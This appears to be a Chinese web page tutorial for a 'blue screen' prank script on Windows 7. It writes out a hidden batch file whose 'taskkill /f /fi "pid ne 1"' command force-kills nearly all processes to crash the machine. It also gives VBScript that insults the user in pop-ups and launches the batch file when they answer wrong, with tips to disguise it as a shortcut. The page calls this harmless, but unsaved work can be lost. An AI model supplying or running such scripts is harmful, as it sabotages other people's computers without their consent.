VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）

您所在的位置：网站首页 › Windows10代码量 › VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）

VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）

2023-07-27 10:38| 来源: 网络整理| 查看: 265

蓝屏重点：在VBS输入整人代码，然后用VBS打开bat蓝屏文件 VBS框架：

msgbox" " 弹窗

createobject("wscript.shell").run "cmd /c start " 打开文件

inputbox(" ") 输入

dim 定义变量

if MsgBox("这里是弹窗内容",vbYesNo,"这里是弹窗内容")=vbyes then msgbox "这里是弹窗内容",64,"这里是弹窗内容" else msgbox "这里是弹窗内容",64,"这里是弹窗内容" createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径" end if

dim a a=InputBox("这里是弹窗内容") if a="这里是要输入的内容"then Msgbox"这里是弹窗内容",64,"这里是弹窗内容" else Msgbox"这里是弹窗内容",64,"这里是弹窗内容" createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径" end if 方法一：

1. 在隐蔽的地方新建一个文本文档，改名叫蓝屏.bat，右键编辑，输入

taskkill /f /fi "pid ne 1"

保存。

2.再找一个文件夹，（或者就在bat文件的下面）新建一个文本文档，改名叫整人.VBS,右键编辑，输入

if MsgBox("你是傻逼吗？",vbYesNo,"警告！！")=vbyes then

msgbox "我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"

else

msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat" end if

if MsgBox("你是傻逼吗？",vbYesNo,"警告！！")=vbyes then msgbox "我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat" end if

注意：中文部分是可以改的，start后面是蓝屏.bat文件的路径，msgbox弹窗可以自己增加。

3.（重要！）点击文件，另存为，把编码改为ANSI，保存。

4.（可弄可不弄）单击VBS文件，右键，单击发送到，桌面快捷方式，右键属性，更改图标，OK！

方法二：

1.同上

2.再找一个文件夹，（或者就在bat文件的下面）新建一个文本文档，改名叫整人.VBS,右键编辑，输入

dim a a=InputBox("你是不是SB？！") if a="是"then Msgbox"我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！" else Msgbox"还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",0,"严重警告!!!!!!!!!" createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat" end if

3. 同上

4. 同上

这种蓝屏对电脑是无害的，重启一遍就好了。

【本文地址】

VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）

VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）

今日新闻

推荐新闻